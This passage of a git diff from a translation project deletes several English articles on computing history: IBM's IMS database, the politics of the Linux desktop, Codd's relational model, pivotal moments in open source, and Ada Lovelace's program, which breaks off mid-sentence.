Caterpillar Tractor to create one. By 1968, IBM had installed a working version of IMS at NASA, though at the time it was called ICS/DL/I for “Informational Control System and Data Language/Interface.” (IBM seems to have gone through a brief, unfortunate infatuation with the slash; see [PL/I][1].) Two years later, IBM rebranded ICS/DL/I as “IMS” and began selling it to other customers. It was one of the first commercially available database management systems. - -The incredible thing about IMS is that it is still in use today. And not just on a small scale: Banks, insurance companies, hospitals, and government agencies still use IMS for all sorts of critical tasks. Over 95% of Fortune 1000 companies use IMS in some capacity, as do all of the top five US banks. Whenever you withdraw cash from an ATM, the odds are exceedingly good that you are interacting with IMS at some point in the course of your transaction. In a world where the relational database is an old workhorse increasingly in competition with trendy new NoSQL databases, IMS is a freaking dinosaur. It is a relic from an era before the relational database was even invented, which didn’t happen until 1970. And yet it seems to be the database system in charge of all the important stuff. - -I think this makes IMS pretty interesting. Depending on how you feel about relational databases, it either offers insight into how the relational model improved on its predecessors or else exemplifies an alternative model better suited to certain problems. - -IMS works according to a hierarchical model, meaning that, instead of thinking about data as tables that can be brought together using JOIN operations, IMS thinks about data as trees. Each kind of record you store can have other kinds of records as children; these child record types represent additional information that you might be interested in given a record of the parent type. - -To take an example, say that you want to store information about bank customers. You might have one type of record to represent customers and another type of record to represent accounts. Like in a relational database, where each table has columns, these records will have different fields; we might want to have a first name field, a last name field, and a city field for each customer. We must then decide whether we are likely to first lookup a customer and then information about that customer’s account, or whether we are likely to first lookup an account and then information about that account’s owner. Assuming we decide that we will access customers first, then we will make our account record type a child of our customer record type. Diagrammed, our database model would look something like this: - -![][2] - -And an actual database might look like: - -![][3] - -By modeling our data this way, we are hewing close to the reality of how our data is stored. Each parent record includes pointers to its children, meaning that moving down our tree from the root node is efficient. (Actually, each parent basically stores just one pointer to the first of its children. The children in turn contain pointers to their siblings. This ensures that the size of a record does not vary with the number of children it has.) This efficiency can make data accesses very fast, provided that we are accessing our data in ways that we anticipated when we first structured our database. According to IBM, an IMS instance can process over 100,000 transactions a second, which is probably a large part of why IMS is still used, particularly at banks. But the downside is that we have lost a lot of flexibility. If we want to access our data in ways we did not anticipate, we will have a hard time. - -To illustrate this, consider what might happen if we decide that we would like to access accounts before customers. Perhaps customers are calling in to update their addresses, and we would like them to uniquely identify themselves using their account numbers. So we want to use an account number to find an account, and then from there find the account’s owner. But since all accesses start at the root of our tree, there’s no way for us to get to an account efficiently without first deciding on a customer. To fix this problem, we could introduce a second tree or hierarchy starting with account records; these account records would then have customer records as children. This would let us access accounts and then customers efficiently. But it would involve duplicating information that we already have stored in our database—we would have two trees storing the same information in different orders. Another option would be to establish an index of accounts that could point us to the right account record given an account number. That would work too, but it would entail extra work during insert and update operations in the future. - -It was precisely this inflexibility and the problem of duplicated information that pushed E. F. Codd to propose the relational model. In his 1970 paper, A Relational Model of Data for Large Shared Data Banks, he states at the outset that he intends to present a model for data storage that can protect users from having to know anything about how their data is stored. Looked at one way, the hierarchical model is entirely an artifact of how the designers of IMS chose to store data. It is a bottom-up model, the implication of a physical reality. The relational model, on the other hand, is an abstract model based on relational algebra, and is top-down in that the data storage scheme can be anything provided it accommodates the model. The relational model’s great advantage is that, just because you’ve made decisions that have caused the database to store your data in a particular way, you won’t find yourself effectively unable to make certain queries. - -All that said, the relational model is an abstraction, and we all know abstractions aren’t free. Banks and large institutions have stuck with IMS partly because of the performance benefits, though it’s hard to say if those benefits would be enough to keep them from switching to a modern database if they weren’t also trying to avoid rewriting mission-critical legacy code. However, today’s popular NoSQL databases demonstrate that there are people willing to drop the conveniences of the relational model in return for better performance. Something like MongoDB, which encourages its users to store data in a denormalized form, isn’t all that different from IMS. If you choose to store some entity inside of another JSON record, then in effect you have created something like the IMS hierarchy, and you have constrained your ability to query for that data in the future. But perhaps that’s a tradeoff you’re willing to make. So, even if IMS hadn’t predated E. F. Codd’s relational model by several years, there are still reasons why IMS’ creators might not have adopted the relational model wholesale. - -Unfortunately, IMS isn’t something that you can download and take for a spin on your own computer. First of all, IMS is not free, so you would have to buy it from IBM. But the bigger problem is that IMS only runs on IBM mainframes like the IBM z13. That’s a shame, because it would be a joy to play around with IMS and get a sense for exactly how it differs from something like MySQL. But even without that opportunity, it’s interesting to think about software systems that work in ways we don’t expect or aren’t used to. And it’s especially interesting when those systems, alien as they are, turn out to undergird your local hospital, the entire financial sector, and even the federal government. - -If you enjoyed this post, more like it come out every two weeks! Follow [@TwoBitHistory][4] on Twitter or subscribe to the [RSS feed][5] to make sure you know when a new post is out. - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2017/10/07/the-most-important-database.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: https://en.wikipedia.org/wiki/PL/I -[2]: https://twobithistory.org/images/hierarchical-model.png -[3]: https://twobithistory.org/images/hierarchical-db.png -[4]: https://twitter.com/TwoBitHistory -[5]: https://twobithistory.org/feed.xml diff --git a/sources/talk/20171128 The politics of the Linux desktop.md b/sources/talk/20171128 The politics of the Linux desktop.md deleted file mode 100644 index c9117dacfe..0000000000 --- a/sources/talk/20171128 The politics of the Linux desktop.md +++ /dev/null @@ -1,110 +0,0 @@ -The politics of the Linux desktop -============================================================ - -### If you're working in open source, why would you use anything but Linux as your main desktop? - - -![The politics of the Linux desktop](https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_networks.png?itok=XasNXxKs "The politics of the Linux desktop") -Image by : opensource.com - -At some point in 1997 or 1998—history does not record exactly when—I made the leap from Windows to the Linux desktop. I went through quite a few distributions, from Red Hat to SUSE to Slackware, then Debian, Debian Experimental, and (for a long time thereafter) Ubuntu. When I accepted a role at Red Hat, I moved to Fedora, and migrated both my kids (then 9 and 11) to Fedora as well. - -More Linux resources - -* [What is Linux?][1] - -* [What are Linux containers?][2] - -* [Download Now: Linux commands cheat sheet][3] - -* [Advanced Linux commands cheat sheet][4] - -* [Our latest Linux articles][5] - -For a few years, I kept Windows as a dual-boot option, and then realised that, if I was going to commit to Linux, then I ought to go for it properly. In losing Windows, I didn't miss much; there were a few games that I couldn't play, but it was around the time that the Civilization franchise was embracing Linux, so that kept me happy. - -The move to Linux wasn't plain sailing, by any stretch of the imagination. If you wanted to use fairly new hardware in the early days, you had to first ensure that there were  _any_  drivers for Linux, then learn how to compile and install them. If they were not quite my friends, **lsmod** and **modprobe** became at least close companions. I taught myself to compile a kernel and tweak the options to make use of (sometimes disastrous) new, "EXPERIMENTAL" features as they came out. Early on, I learned the lesson that you should always keep at least one kernel in your [LILO][12] list that you were  _sure_  booted fully. I cursed NVidia and grew horrified by SCSI. I flirted with early journalling filesystem options and tried to work out whether the different preempt parameters made any noticeable difference to my user experience or not. I began to accept that printers would never print—and then they started to. I discovered that the Bluetooth stack suddenly started to connect to things. - -Over the years, using Linux moved from being an uphill struggle to something that just worked. I moved my mother-in-law and then my father over to Linux so I could help administer their machines. And then I moved them off Linux so they could no longer ask me to help administer their machines. - -Over the years, using Linux moved from being an uphill struggle to something that just worked.It wasn't just at home, either: I decided that I would use Linux as my desktop for work, as well. I even made it a condition of employment for at least one role. Linux desktop support in the workplace caused different sets of problems. The first was the "well, you're on your own: we're not going to support you" email from IT support. VPNs were touch and go, but in the end, usually go. - -The biggest hurdle was Microsoft Office, until I discovered [CrossOver][13], which I bought with my own money, and which allowed me to run company-issued copies of Word, PowerPoint, and the rest on my Linux desktop. Fonts were sometimes a problem, and one company I worked for required Microsoft Lync. For this, and for a few other applications, I would sometimes have to run a Windows virtual machine (VM) on my Linux desktop.  Was this a cop out?  Well, a little bit: but I've always tried to restrict my usage of this approach to the bare minimum. - -### But why? - -"Why?" colleagues would ask. "Why do you bother? Why not just run Windows?" - -"Because I enjoy pain," was usually my initial answer, and then the more honest, "because of the principle of the thing." - -So this is it: I believe in open source. We have a number of very, very good desktop-compatible distributions these days, and most of the time they just work. If you use well-known or supported hardware, they're likely to "just work" pretty much as well as the two obvious alternatives, Windows or Mac. And they just work because many people have put much time into using them, testing them, and improving them. So it's not a case of why wouldn't I use Windows or Mac, but why would I ever consider  _not_  using Linux? If, as I do, you believe in open source, and particularly if you work within the open source community or are employed by an open source organisation, I struggle to see why you would even consider not using Linux. - -So it's not a case of why wouldn't I use Windows or Mac, but why would I ever consider not using Linux?I've spoken to people about this (of course I have), and here are the most common reasons—or excuses—I've heard. - -1. I'm more productive on Windows/Mac. - -2. I can't use app X on Linux, and I need it for my job. - -3. I can't game on Linux. - -4. It's what our customers use, so why we would alienate them? - -5. "Open" means choice, and I prefer a proprietary desktop, so I use that. - -Interestingly, I don't hear "Linux isn't good enough" much anymore, because it's manifestly untrue, and I can show that my own experience—and that of many colleagues—belies that. - -### Rebuttals - -If you believe in open source, then I contest that you should take the time to learn how to use a Linux desktop and the associated applications.Let's go through those answers and rebut them. - -1. **I'm more productive on Windows/Mac.** I'm sure you are. Anyone is more productive when they're using a platform or a system they're used to. If you believe in open source, then I contest that you should take the time to learn how to use a Linux desktop and the associated applications. If you're working for an open source organisation, they'll probably help you along, and you're unlikely to find you're much less productive in the long term. And, you know what? If you are less productive in the long term, then get in touch with the maintainers of the apps that are causing you to be less productive and help improve them. You don't have to be a coder. You could submit bug reports, suggest improvements, write documentation, or just test the most recent versions of the software. And then you're helping yourself and the rest of the community. Welcome to open source. - -1. **I can't use app X on Linux, and I need it for my job.** This may be true. But it's probably less true than you think. The people most often saying this with conviction are audio, video, or graphics experts. It was certainly the case for many years that Linux lagged behind in those areas, but have a look and see what the other options are. And try them, even if they're not perfect, and see how you can improve them. Alternatively, use a VM for that particular app. - -1. **I can't game on Linux.** Well, you probably can, but not all the games that you enjoy. This, to be clear, shouldn't really be an excuse not to use Linux for most of what you do. It might be a reason to keep a dual-boot system or to do what I did (after much soul-searching) and buy a games console (because Elite Dangerous really  _doesn't_  work on Linux, more's the pity). It should also be an excuse to lobby for your favourite games to be ported to Linux. - -1. **It's what our customers use, so why would we alienate them?** I don't get this one. Does Microsoft ban visitors with Macs from their buildings? Does Apple ban Windows users? Does Google allow non-Android phones through their doors? You don't kowtow to the majority when you're the little guy or gal; if you're working in open source, surely you should be proud of that. You're not going to alienate your customer—you're really not. - -1. **"Open" means choice, and I prefer a proprietary desktop, so I use that.**Being open certainly does mean you have a choice. You made that choice by working in open source. For many, including me, that's a moral and philosophical choice. Saying you embrace open source, but rejecting it in practice seems mealy mouthed, even insulting. Using openness to justify your choice is the wrong approach. Saying "I prefer a proprietary desktop, and company policy allows me to do so" is better. I don't agree with your decision, but at least you're not using the principle of openness to justify it. - -Is using open source easy? Not always. But it's getting easier. I think that we should stand up for what we believe in, and if you're reading [Opensource.com][14], then you probably believe in open source. And that, I believe, means that you should run Linux as your main desktop. - - _Note: I welcome comments, and would love to hear different points of view. I would ask that comments don't just list application X or application Y as not working on Linux. I concede that not all apps do. I'm more interested in justifications that I haven't covered above, or (perceived) flaws in my argument. Oh, and support for it, of course._ - - -### About the author - - [![](https://opensource.com/sites/default/files/styles/profile_pictures/public/pictures/2017-05-10_0129.jpg?itok=Uh-eKFhx)][15] - - Mike Bursell - I've been in and around Open Source since around 1997, and have been running (GNU) Linux as my main desktop at home and work since then: [not always easy][7]...  I'm a security bod and architect, and am currently employed as Chief Security Architect for Red Hat.  I have a blog - "[Alice, Eve & Bob][8]" - where I write (sometimes rather parenthetically) about security.  I live in the UK and... [more about Mike Bursell][9][More about me][10] - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/17/11/politics-linux-desktop - -作者:[Mike Bursell ][a] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]:https://opensource.com/users/mikecamel -[1]:https://opensource.com/resources/what-is-linux?intcmp=70160000000h1jYAAQ&utm_source=intcallout&utm_campaign=linuxcontent -[2]:https://opensource.com/resources/what-are-linux-containers?intcmp=70160000000h1jYAAQ&utm_source=intcallout&utm_campaign=linuxcontent -[3]:https://developers.redhat.com/promotions/linux-cheatsheet/?intcmp=70160000000h1jYAAQ&utm_source=intcallout&utm_campaign=linuxcontent -[4]:https://developers.redhat.com/cheat-sheet/advanced-linux-commands-cheatsheet?intcmp=70160000000h1jYAAQ&utm_source=intcallout&utm_campaign=linuxcontent -[5]:https://opensource.com/tags/linux?intcmp=70160000000h1jYAAQ&utm_source=intcallout&utm_campaign=linuxcontent -[6]:https://opensource.com/article/17/11/politics-linux-desktop?rate=do69ixoNzK0yg3jzFk0bc6ZOBsIUcqTYv6FwqaVvzUA -[7]:https://opensource.com/article/17/11/politics-linux-desktop -[8]:https://aliceevebob.com/ -[9]:https://opensource.com/users/mikecamel -[10]:https://opensource.com/users/mikecamel -[11]:https://opensource.com/user/105961/feed -[12]:https://en.wikipedia.org/wiki/LILO_(boot_loader) -[13]:https://en.wikipedia.org/wiki/CrossOver_(software) -[14]:https://opensource.com/ -[15]:https://opensource.com/users/mikecamel -[16]:https://opensource.com/users/mikecamel -[17]:https://opensource.com/users/mikecamel -[18]:https://opensource.com/article/17/11/politics-linux-desktop#comments -[19]:https://opensource.com/tags/linux diff --git a/sources/talk/20171229 Important Papers- Codd and the Relational Model.md b/sources/talk/20171229 Important Papers- Codd and the Relational Model.md deleted file mode 100644 index 8fc8b1f701..0000000000 --- a/sources/talk/20171229 Important Papers- Codd and the Relational Model.md +++ /dev/null @@ -1,44 +0,0 @@ -Important Papers: Codd and the Relational Model -====== -It’s hard to believe today, but the relational database was once the cool new kid on the block. In 2017, the relational model competes with all sorts of cutting-edge NoSQL technologies that make relational database systems seem old-fashioned and boring. Yet, 50 years ago, none of the dominant database systems were relational. Nobody had thought to structure their data that way. When the relational model did come along, it was a radical new idea that revolutionized the database world and spawned a multi-billion dollar industry. - -The relational model was introduced in 1970. Edgar F. Codd, a researcher at IBM, published a [paper][1] called “A Relational Model of Data for Large Shared Data Banks.” The paper was a rewrite of a paper he had circulated internally at IBM a year earlier. The paper is unassuming; Codd does not announce in his abstract that he has discovered a brilliant new approach to storing data. He only claims to have employed a novel tool (the mathematical notion of a “relation”) to address some of the inadequacies of the prevailing database models. - -In 1970, there were two schools of thought about how to structure a database: the hierarchical model and the network model. The hierarchical model was used by IBM’s Information Management System (IMS), the dominant database system at the time. The network model had been specified by a standards committee called CODASYL (which also—random tidbit—specified COBOL) and implemented by several other database system vendors. The two models were not really that different; both could be called “navigational” models. They persisted tree or graph data structures to disk using pointers to preserve the links between the data. Retrieving a record stored toward the bottom of the tree would involve first navigating through all of its ancestor records. These databases were fast (IMS is still used by many financial institutions partly for this reason, see [this excellent blog post][2]) but inflexible. Woe unto those database administrators who suddenly found themselves needing to query records from the bottom of the tree without having an obvious place to start at the top. - -Codd saw this inflexibility as a symptom of a larger problem. Programs using a hierarchical or network database had to know about how the stored data was structured. Programs had to know this because they were responsible for navigating down this structure to find the information they needed. This was so true that when Charles Bachman, a major pioneer of the network model, received a Turing Award for his work in 1973, he gave a speech titled “[The Programmer as Navigator][3].” Of course, if programs were saddled with this responsibility, then they would immediately break if the structure of the database ever changed. In the introduction to his 1970 paper, Codd motivates the search for a better model by arguing that we need “data independence,” which he defines as “the independence of application programs and terminal activities from growth in data types and changes in data representation.” The relational model, he argues, “appears to be superior in several respects to the graph or network model presently in vogue,” partly because, among other benefits, the relational model “provides a means of describing data with its natural structure only.” By this he meant that programs could safely ignore any artificial structures (like trees) imposed upon the data for storage and retrieval purposes only. - -To further illustrate the problem with the navigational models, Codd devotes the first section of his paper to an example data set involving machine parts and assembly projects. This dataset, he says, could be represented in existing systems in at least five different ways. Any program that is developed assuming one of five structures will fail when run against at least three of the other structures. The program could instead try to figure out ahead of time which of the structures it might be dealing with, but it would be difficult to do so in this specific case and practically impossible in the general case. So, as long as the program needs to know about how the data is structured, we cannot switch to an alternative structure without breaking the program. This is a real bummer because (and this is from the abstract) “changes in data representation will often be needed as a result of changes in query, update, and report traffic and natural growth in the types of stored information.” - -Codd then introduces his relational model. This model would be refined and expanded in subsequent papers: In 1971, Codd wrote about ALPHA, a SQL-like query language he created; in another 1971 paper, he introduced the first three normal forms we know and love today; and in 1972, he further developed relational algebra and relational calculus, the mathematically rigorous underpinnings of the relational model. But Codd’s 1970 paper contains the kernel of the relational idea: - -> The term relation is used here in its accepted mathematical sense. Given sets (not necessarily distinct), is a relation on these sets if it is a set of -tuples each of which has its first element from , its second element from , and so on. We shall refer to as the th domain of . As defined above, is said to have degree . Relations of degree 1 are often called unary, degree 2 binary, degree 3 ternary, and degree n-ary. - -Today, we call a relation a table, and a domain an attribute or a column. The word “table” actually appears nowhere in the paper, though Codd’s visual representations of relations (which he calls “arrays”) do resemble tables. Codd defines several more terms, some of which we continue to use and others we have replaced. He explains primary and foreign keys, as well as what he calls the “active domain,” which is the set of all distinct values that actually appear in a given domain or column. He then spends some time distinguishing between a “simple” and a “nonsimple” domain. A simple domain contains “atomic” or “nondecomposable” values, like integers. A nonsimple domain has relations as elements. The example Codd gives here is that of an employee with a salary history. The salary history is not one salary but a collection of salaries each associated with a date. So a salary history cannot be represented by a single number or string. - -It’s not obvious how one could store a nonsimple domain in a multi-dimensional array, AKA a table. The temptation might be to denote the nonsimple relationship using some kind of pointer, but then we would be repeating the mistakes of the navigational models. Instead. Codd introduces normalization, which at least in the 1970 paper involves nothing more than turning nonsimple domains into simple ones. This is done by expanding the child relation so that it includes the primary key of the parent. Each tuple of the child relation references its parent using simple domains, eliminating the need for a nonsimple domain in the parent. Normalization means no pointers, sidestepping all the problems they cause in the navigational models. - -At this point, anyone reading Codd’s paper would have several questions, such as “Okay, how would I actually query such a system?” Codd mentions the possibility of creating a universal sublanguage for querying relational databases from other programs, but declines to define such a language in this particular paper. He does explain, in mathematical terms, many of the fundamental operations such a language would have to support, like joins, “projection” (`SELECT` in SQL), and “restriction” (`WHERE`). The amazing thing about Codd’s 1970 paper is that, really, all the ideas are there—we’ve been writing `SELECT` statements and joins for almost half a century now. - -Codd wraps up the paper by discussing ways in which a normalized relational database, on top of its other benefits, can reduce redundancy and improve consistency in data storage. Altogether, the paper is only 11 pages long and not that difficult of a read. I encourage you to look through it yourself. It would be another ten years before Codd’s ideas were properly implemented in a functioning system, but, when they finally were, those systems were so obviously better than previous systems that they took the world by storm. - -If you enjoyed this post, more like it come out every two weeks! Follow [@TwoBitHistory][4] on Twitter or subscribe to the [RSS feed][5] to make sure you know when a new post is out. - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2017/12/29/codd-relational-model.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: https://cs.uwaterloo.ca/~david/cs848s14/codd-relational.pdf -[2]: https://twobithistory.org/2017/10/07/the-most-important-database.html -[3]: https://pdfs.semanticscholar.org/f371/d196bf0e7b43df6dcbbc44de461925a21709.pdf -[4]: https://twitter.com/TwoBitHistory -[5]: https://twobithistory.org/feed.xml diff --git a/sources/talk/20180201 6 pivotal moments in open source history.md b/sources/talk/20180201 6 pivotal moments in open source history.md deleted file mode 100644 index 2d0f80dd1f..0000000000 --- a/sources/talk/20180201 6 pivotal moments in open source history.md +++ /dev/null @@ -1,94 +0,0 @@ -6 pivotal moments in open source history -============================================================ - -### Here's how open source developed from a printer jam solution at MIT to a major development model in the tech industry today. - -![6 pivotal moments in open source history](https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/welcome-open-sign-door-osdc-lead.png?itok=i9jCnaiu "6 pivotal moments in open source history") -Image credits : [Alan Levine][4]. [CC0 1.0][5] - -Open source has taken a prominent role in the IT industry today. It is everywhere from the smallest embedded systems to the biggest supercomputer, from the phone in your pocket to the software running the websites and infrastructure of the companies we engage with every day. Let's explore how we got here and discuss key moments from the past 40 years that have paved a path to the current day. - -### 1\. RMS and the printer - -In the late 1970s, [Richard M. Stallman (RMS)][6] was a staff programmer at MIT. His department, like those at many universities at the time, shared a PDP-10 computer and a single printer. One problem they encountered was that paper would regularly jam in the printer, causing a string of print jobs to pile up in a queue until someone fixed the jam. To get around this problem, the MIT staff came up with a nice social hack: They wrote code for the printer driver so that when it jammed, a message would be sent to everyone who was currently waiting for a print job: "The printer is jammed, please fix it." This way, it was never stuck for long. - -In 1980, the lab accepted a donation of a brand-new laser printer. When Stallman asked for the source code for the printer driver, however, so he could reimplement the social hack to have the system notify users on a paper jam, he was told that this was proprietary information. He heard of a researcher in a different university who had the source code for a research project, and when the opportunity arose, he asked this colleague to share it—and was shocked when they refused. They had signed an NDA, which Stallman took as a betrayal of the hacker culture. - -The late '70s and early '80s represented an era where software, which had traditionally been given away with the hardware in source code form, was seen to be valuable. Increasingly, MIT researchers were starting software companies, and selling licenses to the software was key to their business models. NDAs and proprietary software licenses became the norms, and the best programmers were hired from universities like MIT to work on private development projects where they could no longer share or collaborate. - -As a reaction to this, Stallman resolved that he would create a complete operating system that would not deprive users of the freedom to understand how it worked, and would allow them to make changes if they wished. It was the birth of the free software movement. - -### 2\. Creation of GNU and the advent of free software - -By late 1983, Stallman was ready to announce his project and recruit supporters and helpers. In September 1983, [he announced the creation of the GNU project][7] (GNU stands for GNU's Not Unix—a recursive acronym). The goal of the project was to clone the Unix operating system to create a system that would give complete freedom to users. - -In January 1984, he started working full-time on the project, first creating a compiler system (GCC) and various operating system utilities. Early in 1985, he published "[The GNU Manifesto][8]," which was a call to arms for programmers to join the effort, and launched the Free Software Foundation in order to accept donations to support the work. This document is the founding charter of the free software movement. - -### 3\. The writing of the GPL - -Until 1989, software written and released by the [Free Software Foundation][9] and RMS did not have a single license. Emacs was released under the Emacs license, GCC was released under the GCC license, and so on; however, after a company called Unipress forced Stallman to stop distributing copies of an Emacs implementation they had acquired from James Gosling (of Java fame), he felt that a license to secure user freedoms was important. - -The first version of the GNU General Public License was released in 1989, and it encapsulated the values of copyleft (a play on words—what is the opposite of copyright?): You may use, copy, distribute, and modify the software covered by the license, but if you make changes, you must share the modified source code alongside the modified binaries. This simple requirement to share modified software, in combination with the advent of the internet in the 1990s, is what enabled the decentralized, collaborative development model of the free software movement to flourish. - -### 4\. "The Cathedral and the Bazaar" - -By the mid-1990s, Linux was starting to take off, and free software had become more mainstream—or perhaps "less fringe" would be more accurate. The Linux kernel was being developed in a way that was completely different to anything people had been seen before, and was very successful doing it. Out of the chaos of the kernel community came order, and a fast-moving project. - -In 1997, Eric S. Raymond published the seminal essay, "[The Cathedral and the Bazaar][10]," comparing and contrasting the development methodologies and social structure of GCC and the Linux kernel and talking about his own experiences with a "bazaar" development model with the Fetchmail project. Many of the principles that Raymond describes in this essay will later become central to agile development and the DevOps movement—"release early, release often," refactoring of code, and treating users as co-developers are all fundamental to modern software development. - -This essay has been credited with bringing free software to a broader audience, and with convincing executives at software companies at the time that releasing their software under a free software license was the right thing to do. Raymond went on to be instrumental in the coining of the term "open source" and the creation of the Open Source Institute. - -"The Cathedral and the Bazaar" was credited as a key document in the 1998 release of the source code for the Netscape web browser Mozilla. At the time, this was the first major release of an existing, widely used piece of desktop software as free software, which brought it further into the public eye. - -### 5\. Open source - -As far back as 1985, the ambiguous nature of the word "free", used to describe software freedom, was identified as problematic by RMS himself. In the GNU Manifesto, he identified "give away" and "for free" as terms that confused zero price and user freedom. "Free as in freedom," "Speech not beer," and similar mantras were common when free software hit a mainstream audience in the late 1990s, but a number of prominent community figures argued that a term was needed that made the concept more accessible to the general public. - -After Netscape released the source code for Mozilla in 1998 (see #4), a group of people, including Eric Raymond, Bruce Perens, Michael Tiemann, Jon "Maddog" Hall, and many of the leading lights of the free software world, gathered in Palo Alto to discuss an alternative term. The term "open source" was [coined by Christine Peterson][11] to describe free software, and the Open Source Institute was later founded by Bruce Perens and Eric Raymond. The fundamental difference with proprietary software, they argued, was the availability of the source code, and so this was what should be put forward first in the branding. - -Later that year, at a summit organized by Tim O'Reilly, an extended group of some of the most influential people in the free software world at the time gathered to debate various new brands for free software. In the end, "open source" edged out "sourceware," and open source began to be adopted by many projects in the community. - -There was some disagreement, however. Richard Stallman and the Free Software Foundation continued to champion the term "free software," because to them, the fundamental difference with proprietary software was user freedom, and the availability of source code was just a means to that end. Stallman argued that removing the focus on freedom would lead to a future where source code would be available, but the user of the software would not be able to avail of the freedom to modify the software. With the advent of web-deployed software-as-a-service and open source firmware embedded in devices, the battle continues to be waged today. - -### 6\. Corporate investment in open source—VA Linux, Red Hat, IBM - -In the late 1990s, a series of high-profile events led to a huge increase in the professionalization of free and open source software. Among these, the highest-profile events were the IPOs of VA Linux and Red Hat in 1999\. Both companies had massive gains in share price on their opening days as publicly traded companies, proving that open source was now going commercial and mainstream. - -Also in 1999, IBM announced that they were supporting Linux by investing $1 billion in its development, making is less risky to traditional enterprise users. The following year, Sun Microsystems released the source code to its cross-platform office suite, StarOffice, and created the [OpenOffice.org][12] project. - -The combined effect of massive Silicon Valley funding of open source projects, the attention of Wall Street for young companies built around open source software, and the market credibility that tech giants like IBM and Sun Microsystems brought had combined to create the massive adoption of open source, and the embrace of the open development model that helped it thrive have led to the dominance of Linux and open source in the tech industry today. - - _Which pivotal moments would you add to the list? Let us know in the comments._ - -### About the author - - [![](https://opensource.com/sites/default/files/styles/profile_pictures/public/pictures/picture-11423-8ecef7f357341aaa7aee8b43e9b530c9.png?itok=n1snBFq3)][13] Dave Neary - Dave Neary is a member of the Open Source and Standards team at Red Hat, helping make Open Source projects important to Red Hat be successful. Dave has been around the free and open source software world, wearing many different hats, since sending his first patch to the GIMP in 1999.[More about me][2] - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/18/2/pivotal-moments-history-open-source - -作者:[Dave Neary ][a] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]:https://opensource.com/users/dneary -[1]:https://opensource.com/article/18/2/pivotal-moments-history-open-source?rate=gsG-JrjfROWACP7i9KUoqmH14JDff8-31C2IlNPPyu8 -[2]:https://opensource.com/users/dneary -[3]:https://opensource.com/user/16681/feed -[4]:https://www.flickr.com/photos/cogdog/6476689463/in/photolist-aSjJ8H-qHAvo4-54QttY-ofm5ZJ-9NnUjX-tFxS7Y-bPPjtH-hPYow-bCndCk-6NpFvF-5yQ1xv-7EWMXZ-48RAjB-5EzYo3-qAFAdk-9gGty4-a2BBgY-bJsTcF-pWXATc-6EBTmq-SkBnSJ-57QJco-ddn815-cqt5qG-ddmYSc-pkYxRz-awf3n2-Rvnoxa-iEMfeG-bVfq5-jXy74D-meCC1v-qx22rx-fMScsJ-ci1435-ie8P5-oUSXhp-xJSm9-bHgApk-mX7ggz-bpsxd7-8ukud7-aEDmBj-qWkytq-ofwhdM-b7zSeD-ddn5G7-ddn5gb-qCxnB2-S74vsk -[5]:https://creativecommons.org/publicdomain/zero/1.0/ -[6]:https://en.wikipedia.org/wiki/Richard_Stallman -[7]:https://groups.google.com/forum/#!original/net.unix-wizards/8twfRPM79u0/1xlglzrWrU0J -[8]:https://www.gnu.org/gnu/manifesto.en.html -[9]:https://www.fsf.org/ -[10]:https://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar -[11]:https://opensource.com/article/18/2/coining-term-open-source-software -[12]:http://www.openoffice.org/ -[13]:https://opensource.com/users/dneary -[14]:https://opensource.com/users/dneary -[15]:https://opensource.com/users/dneary -[16]:https://opensource.com/article/18/2/pivotal-moments-history-open-source#comments -[17]:https://opensource.com/tags/licensing \ No newline at end of file diff --git a/sources/talk/20180818 What Did Ada Lovelace-s Program Actually Do.md b/sources/talk/20180818 What Did Ada Lovelace-s Program Actually Do.md deleted file mode 100644 index 8bbb651cfd..0000000000 --- a/sources/talk/20180818 What Did Ada Lovelace-s Program Actually Do.md +++ /dev/null @@ -1,138 +0,0 @@ -What Did Ada Lovelace's Program Actually Do? -====== -The story of Microsoft’s founding is one of the most famous episodes in computing history. In 1975, Paul Allen flew out to Albuquerque to demonstrate the BASIC interpreter that he and Bill Gates had written for the Altair microcomputer. Because neither of them had a working Altair, Allen and Gates tested their interpreter using an emulator that they wrote and ran on Harvard’s computer system. The emulator was based on nothing more than the published specifications for the Intel 8080 processor. When Allen finally ran their interpreter on a real Altair—in front of the person he and Gates hoped would buy their software—he had no idea if it would work. But it did. The next month, Allen and Gates officially founded their new company. - -Over a century before Allen and Gates wrote their BASIC interpreter, Ada Lovelace wrote and published a computer program. She, too, wrote a program for a computer that had only been described to her. But her program, unlike the Microsoft BASIC interpreter, was never run, because the computer she was targeting was never built. - -Lovelace’s program is often called the world’s first computer program. Not everyone agrees that it should be called that. Lovelace’s legacy, it turns out, is one of computing history’s most hotly debated subjects. Walter Isaacson has written that the dispute about the extent and merit of her contributions constitutes a “minor academic specialty.” Inevitably, the fact that Lovelace was a woman has made this dispute a charged one. Historians have cited all kinds of primary evidence to argue that the credit given to Lovelace is either appropriate or undeserved. But they seem to spend less time explaining the technical details of her published writing, which is unfortunate, because the technical details are the most fascinating part of the story. Who wouldn’t want to know exactly how a program written in 1843 was supposed to work? - -In fairness, Lovelace’s program is not easy to explain to the layperson without some hand-waving. It’s the intricacies of her program, though, that make it so remarkable. Whether or not she ought to be known as “the first programmer,” her program was specified with a degree of rigor that far surpassed anything that came before. She thought carefully about how 